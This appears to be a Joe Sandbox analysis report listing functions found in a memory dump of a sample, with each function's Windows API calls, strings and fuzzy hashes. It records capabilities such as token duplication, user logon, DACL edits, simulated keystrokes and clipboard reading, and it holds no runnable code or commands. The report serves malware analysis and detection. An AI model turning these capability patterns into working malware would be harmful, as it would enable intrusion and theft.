Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: 1160767055506a78d41c8c47cadf9a53feee97ca3879741c0aa2bdbc8cb5e7f1
Instruction ID: 0bb9ea6d82c86d7bfa876251b671c2465bbcfd7f0818c69e262a37bd64e93781
Opcode Fuzzy Hash: 1160767055506a78d41c8c47cadf9a53feee97ca3879741c0aa2bdbc8cb5e7f1
Instruction Fuzzy Hash: 8CE0CD72A001245BC71092589C06FDA77DDDFC8790F054071FD0DD7248D964AD849691

Function 00F32B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00F33837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00F33908

SetCurrentDirectoryW.KERNEL32(?), ref: 00F32B6B

Part of subcall function 00F330F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 00F3314E

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectory
String ID:
API String ID: 2619246295-0
Opcode ID: 9ce87d6a41c2e19cfefb18a27b9fff64756535b86563395e7ec453b2e617ba88
Instruction ID: 7cba9fef76d9419a4c8eab5d41ce282b3e859ba8708b8b23bb77ac5f91907e7d
Opcode Fuzzy Hash: 9ce87d6a41c2e19cfefb18a27b9fff64756535b86563395e7ec453b2e617ba88
Instruction Fuzzy Hash: 54E0C23270824807CA09FB74AC529BDF7599BD5375F40153EF286831A3CF7D8A49A352

Function 00F7039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00F70704,?,?,00000000,?,00F70704,00000000,0000000C), ref: 00F703B7

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7066e603521015cc981bc968a756a9999dd613e4e7d51e9b01758365827cb4c8
Instruction ID: db1040b6e8ae096eb3fe68a5d86efb09314944d89bf253344ea7627a283d06ff
Opcode Fuzzy Hash: 7066e603521015cc981bc968a756a9999dd613e4e7d51e9b01758365827cb4c8
Instruction Fuzzy Hash: EDD06C3204010DBBDF028F85DD06EDA3BAAFB48714F014000FE1856020C732E821AB90

Function 00F31CAD Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00002001,00000000,00000002), ref: 00F31CBC

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: 767ddd735556f1ac4fefac3ff07a24db44879abf47c7fa3025a9c78a82407216
Instruction ID: 2c2704f0bd9474643d1bd0323a23434cc4b21109299ad972a0468de871746e72
Opcode Fuzzy Hash: 767ddd735556f1ac4fefac3ff07a24db44879abf47c7fa3025a9c78a82407216
Instruction Fuzzy Hash: D2C09236280308EFF3268B80BD4FF107765A348B01F088401F68EAA5D7C7B76861EB94

Non-executed Functions

Function 00FC9576 Relevance: 72.4, APIs: 39, Strings: 2, Instructions: 625windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00F49BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00F49BB2

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00FC961A
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00FC965B
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 00FC969F
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00FC96C9
SendMessageW.USER32 ref: 00FC96F2
GetKeyState.USER32(00000011), ref: 00FC978B
GetKeyState.USER32(00000009), ref: 00FC9798
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00FC97AE
GetKeyState.USER32(00000010), ref: 00FC97B8
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00FC97E9
SendMessageW.USER32 ref: 00FC9810
SendMessageW.USER32(?,00001030,?,00FC7E95), ref: 00FC9918
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00FC992E
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00FC9941
SetCapture.USER32(?), ref: 00FC994A
ClientToScreen.USER32(?,?), ref: 00FC99AF
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00FC99BC
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00FC99D6
ReleaseCapture.USER32 ref: 00FC99E1
GetCursorPos.USER32(?), ref: 00FC9A19
ScreenToClient.USER32(?,?), ref: 00FC9A26
SendMessageW.USER32(?,00001012,00000000,?), ref: 00FC9A80
SendMessageW.USER32 ref: 00FC9AAE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00FC9AEB
SendMessageW.USER32 ref: 00FC9B1A
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00FC9B3B
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00FC9B4A
GetCursorPos.USER32(?), ref: 00FC9B68
ScreenToClient.USER32(?,?), ref: 00FC9B75
GetParent.USER32(?), ref: 00FC9B93
SendMessageW.USER32(?,00001012,00000000,?), ref: 00FC9BFA
SendMessageW.USER32 ref: 00FC9C2B
ClientToScreen.USER32(?,?), ref: 00FC9C84
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00FC9CB4
SendMessageW.USER32(?,00001111,00000000,?), ref: 00FC9CDE
SendMessageW.USER32 ref: 00FC9D01
ClientToScreen.USER32(?,?), ref: 00FC9D4E
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00FC9D82

Part of subcall function 00F49944: GetWindowLongW.USER32(?,000000EB), ref: 00F49952

GetWindowLongW.USER32(?,000000F0), ref: 00FC9E05

Strings

F, xrefs: 00FC9D07
@GUI_DRAGID, xrefs: 00FC997D

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease
String ID: @GUI_DRAGID$F
API String ID: 3429851547-4164748364
Opcode ID: 569893073e6c0fda8e2cafa74a96301abfa8b215389fbe9f03484840085997dc
Instruction ID: 03699eae7e643aabda349c6524a332903ed8f156269aaa4dd5dd64aa9a1c6343
Opcode Fuzzy Hash: 569893073e6c0fda8e2cafa74a96301abfa8b215389fbe9f03484840085997dc
Instruction Fuzzy Hash: 32428D31608206AFD725CF24CE4AFAABBE5FF48320F14061DF599872A1D7B1D950EB91

Function 00FC4873 Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 566windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000408,00000000,00000000), ref: 00FC48F3
SendMessageW.USER32(00000000,00000188,00000000,00000000), ref: 00FC4908
SendMessageW.USER32(00000000,0000018A,00000000,00000000), ref: 00FC4927
SendMessageW.USER32(?,00000148,00000000,00000000), ref: 00FC494B
SendMessageW.USER32(00000000,00000147,00000000,00000000), ref: 00FC495C
SendMessageW.USER32(00000000,00000149,00000000,00000000), ref: 00FC497B
SendMessageW.USER32(00000000,0000130B,00000000,00000000), ref: 00FC49AE
SendMessageW.USER32(00000000,0000133C,00000000,?), ref: 00FC49D4
SendMessageW.USER32(00000000,0000110A,00000009,00000000), ref: 00FC4A0F
SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 00FC4A56
SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 00FC4A7E
IsMenu.USER32(?), ref: 00FC4A97
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00FC4AF2
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00FC4B20
GetWindowLongW.USER32(?,000000F0), ref: 00FC4B94
SendMessageW.USER32(?,0000113E,00000000,00000008), ref: 00FC4BE3
SendMessageW.USER32(00000000,00001001,00000000,?), ref: 00FC4C82
wsprintfW.USER32 ref: 00FC4CAE
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00FC4CC9
GetWindowTextW.USER32(?,00000000,00000001), ref: 00FC4CF1
SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00FC4D13
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00FC4D33
GetWindowTextW.USER32(?,00000000,00000001), ref: 00FC4D5A

Strings

%d/%02d/%02d, xrefs: 00FC4CA8

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: MessageSend$MenuWindow$InfoItemText$Longwsprintf
String ID: %d/%02d/%02d
API String ID: 4054740463-328681919
Opcode ID: b6dcded3d650bd0748de0f6d73719e15c76dd4137361f7dee4a319f9b76dc6b9
Instruction ID: 569443d7e3f5b33a97ad315d7ecbf2645168d6d58de6cf60d25f3de2bf60de2f
Opcode Fuzzy Hash: b6dcded3d650bd0748de0f6d73719e15c76dd4137361f7dee4a319f9b76dc6b9
Instruction Fuzzy Hash: A512257190021AABEB248F24CE5AFAE7BF8EF45720F10411DF51ADB2E1D774A940EB50

Function 00F4F98E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,00000000), ref: 00F4F998
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00F8F474
IsIconic.USER32(00000000), ref: 00F8F47D
ShowWindow.USER32(00000000,00000009), ref: 00F8F48A
SetForegroundWindow.USER32(00000000), ref: 00F8F494
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00F8F4AA
GetCurrentThreadId.KERNEL32 ref: 00F8F4B1
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00F8F4BD
AttachThreadInput.USER32(?,00000000,00000001), ref: 00F8F4CE
AttachThreadInput.USER32(?,00000000,00000001), ref: 00F8F4D6
AttachThreadInput.USER32(00000000,?,00000001), ref: 00F8F4DE
SetForegroundWindow.USER32(00000000), ref: 00F8F4E1
MapVirtualKeyW.USER32(00000012,00000000), ref: 00F8F4F6
keybd_event.USER32(00000012,00000000), ref: 00F8F501
MapVirtualKeyW.USER32(00000012,00000000), ref: 00F8F50B
keybd_event.USER32(00000012,00000000), ref: 00F8F510
MapVirtualKeyW.USER32(00000012,00000000), ref: 00F8F519
keybd_event.USER32(00000012,00000000), ref: 00F8F51E
MapVirtualKeyW.USER32(00000012,00000000), ref: 00F8F528
keybd_event.USER32(00000012,00000000), ref: 00F8F52D
SetForegroundWindow.USER32(00000000), ref: 00F8F530
AttachThreadInput.USER32(?,?,00000000), ref: 00F8F557

Strings

Shell_TrayWnd, xrefs: 00F8F46F

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 913ed849ed511c916dcac2ccfa4d350b5baa2547c7d3b5e7240978a1439ad566
Instruction ID: 66b94b354b41e1a1a33ae42bf411182ef4e4d23600a58afc0fbb8b98ad124024
Opcode Fuzzy Hash: 913ed849ed511c916dcac2ccfa4d350b5baa2547c7d3b5e7240978a1439ad566
Instruction Fuzzy Hash: B8315071A4021CBEEB206BB55D4AFBF7E6CEB44B50F140426FA09EB1D1C6B15900BBA0

Function 00F91201 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 00F916C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00F9170D
Part of subcall function 00F916C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00F9173A
Part of subcall function 00F916C3: GetLastError.KERNEL32 ref: 00F9174A

LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 00F91286
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 00F912A8
CloseHandle.KERNEL32(?), ref: 00F912B9
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00F912D1
GetProcessWindowStation.USER32 ref: 00F912EA
SetProcessWindowStation.USER32(00000000), ref: 00F912F4
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00F91310

Part of subcall function 00F910BF: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00F911FC), ref: 00F910D4
Part of subcall function 00F910BF: CloseHandle.KERNEL32(?,?,00F911FC), ref: 00F910E9

Strings

, xrefs: 00F9125A
default, xrefs: 00F9130B
winsta0, xrefs: 00F912CC

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
String ID: $default$winsta0
API String ID: 22674027-1027155976
Opcode ID: 888c1e942b4aedc4d18dda345117f8c9b1ce2c3e29e37e50ae7d5cc5b082d0ea
Instruction ID: 534511dd67dbfaed8130fe2ad68ad1bc4081947cfdb4c9fe9fcdc7bfa6173b78
Opcode Fuzzy Hash: 888c1e942b4aedc4d18dda345117f8c9b1ce2c3e29e37e50ae7d5cc5b082d0ea
Instruction Fuzzy Hash: 98819E71D0020AABEF10DFA8DD49FEE7BB9FF09714F044129FA14A61A0C7358954EB60

Function 00F90B62 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F910F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00F91114
Part of subcall function 00F910F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00F90B9B,?,?,?), ref: 00F91120
Part of subcall function 00F910F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00F90B9B,?,?,?), ref: 00F9112F
Part of subcall function 00F910F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00F90B9B,?,?,?), ref: 00F91136
Part of subcall function 00F910F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00F9114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00F90BCC
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00F90C00
GetLengthSid.ADVAPI32(?), ref: 00F90C17
GetAce.ADVAPI32(?,00000000,?), ref: 00F90C51
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00F90C6D
GetLengthSid.ADVAPI32(?), ref: 00F90C84
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00F90C8C
HeapAlloc.KERNEL32(00000000), ref: 00F90C93
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00F90CB4
CopySid.ADVAPI32(00000000), ref: 00F90CBB
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00F90CEA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00F90D0C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00F90D1E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00F90D45
HeapFree.KERNEL32(00000000), ref: 00F90D4C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00F90D55
HeapFree.KERNEL32(00000000), ref: 00F90D5C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00F90D65
HeapFree.KERNEL32(00000000), ref: 00F90D6C
GetProcessHeap.KERNEL32(00000000,?), ref: 00F90D78
HeapFree.KERNEL32(00000000), ref: 00F90D7F

Part of subcall function 00F91193: GetProcessHeap.KERNEL32(00000008,00F90BB1,?,00000000,?,00F90BB1,?), ref: 00F911A1
Part of subcall function 00F91193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00F90BB1,?), ref: 00F911A8
Part of subcall function 00F91193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00F90BB1,?), ref: 00F911B7

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: fdc5efa5f37bb8cbe081b1409070b53ebbfce131e8420d66f424ef408294f2b0
Instruction ID: 2c5628d3e8a78c255399cba5f805be21554b4a02120895d2eb56ef3fe84ed4ca
Opcode Fuzzy Hash: fdc5efa5f37bb8cbe081b1409070b53ebbfce131e8420d66f424ef408294f2b0
Instruction Fuzzy Hash: 96715972D0020AAFEF109FA5DD45FAEBBBCBF04314F044515E918E7291DB75A905EBA0

Function 00FAEAFF Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00FCCC08), ref: 00FAEB29
IsClipboardFormatAvailable.USER32(0000000D), ref: 00FAEB37
GetClipboardData.USER32(0000000D), ref: 00FAEB43
CloseClipboard.USER32 ref: 00FAEB4F
GlobalLock.KERNEL32(00000000), ref: 00FAEB87
CloseClipboard.USER32 ref: 00FAEB91
GlobalUnlock.KERNEL32(00000000), ref: 00FAEBBC
IsClipboardFormatAvailable.USER32(00000001), ref: 00FAEBC9
GetClipboardData.USER32(00000001), ref: 00FAEBD1
GlobalLock.KERNEL32(00000000), ref: 00FAEBE2
GlobalUnlock.KERNEL32(00000000), ref: 00FAEC22
IsClipboardFormatAvailable.USER32(0000000F), ref: 00FAEC38
GetClipboardData.USER32(0000000F), ref: 00FAEC44
GlobalLock.KERNEL32(00000000), ref: 00FAEC55
DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 00FAEC77
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00FAEC94
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00FAECD2
GlobalUnlock.KERNEL32(00000000), ref: 00FAECF3
CountClipboardFormats.USER32 ref: 00FAED14
CloseClipboard.USER32 ref: 00FAED59

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: 7ad2b238354473658119414eda9b9f1fbcc78891afb35a3d2ef01ef6013c0353
Instruction ID: 401867b89ef2be3a35334e9ce4f8fbcb2032bcdd99ec595356ace42521f577a0
Opcode Fuzzy Hash: 7ad2b238354473658119414eda9b9f1fbcc78891afb35a3d2ef01ef6013c0353
Instruction Fuzzy Hash: 50610175204306AFD300EF20CD89F6AB7A4AF85764F14441DF85A872A2CB71DD06EBA2

Function 00FA698F Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00FA69BE
FindClose.KERNEL32(00000000), ref: 00FA6A12
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00FA6A4E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00FA6A75

Part of subcall function 00F39CB3: _wcslen.LIBCMT ref: 00F39CBD

FileTimeToSystemTime.KERNEL32(?,?), ref: 00FA6AB2
FileTimeToSystemTime.KERNEL32(?,?), ref: 00FA6ADF

Strings

%4d, xrefs: 00FA6BB1
%02d, xrefs: 00FA6C00, 00FA6C0A, 00FA6C5A, 00FA6CAA, 00FA6CFA, 00FA6D4A
%4d%02d%02d%02d%02d%02d%03d, xrefs: 00FA6B32
%03d, xrefs: 00FA6DA2
%4d%02d%02d%02d%02d%02d, xrefs: 00FA6B6A

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: 108612fb7c021735c0400c8c0b04df359be105cbc1a2cb29f6fbbf66184f9aad
Instruction ID: a4512fbb2d151209966a2b84d20d6ab7dc2a81c7b0999f1288b4cb6ef4112b2d
Opcode Fuzzy Hash: 108612fb7c021735c0400c8c0b04df359be105cbc1a2cb29f6fbbf66184f9aad
Instruction Fuzzy Hash: FFD185B2508304AFC314EBA0CD85EABB7ECAF89714F44491DF589D7151EB78DA04DB62

Function 00FA9642 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00FA9663
GetFileAttributesW.KERNEL32(?), ref: 00FA96A1
SetFileAttributesW.KERNEL32(?,?), ref: 00FA96BB
FindNextFileW.KERNEL32(00000000,?), ref: 00FA96D3
FindClose.KERNEL32(00000000), ref: 00FA96DE
FindFirstFileW.KERNEL32(*.*,?), ref: 00FA96FA
SetCurrentDirectoryW.KERNEL32(?), ref: 00FA974A
SetCurrentDirectoryW.KERNEL32(00FF6B7C), ref: 00FA9768
FindNextFileW.KERNEL32(00000000,00000010), ref: 00FA9772
FindClose.KERNEL32(00000000), ref: 00FA977F
FindClose.KERNEL32(00000000), ref: 00FA978F

Strings

*.*, xrefs: 00FA96F5

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
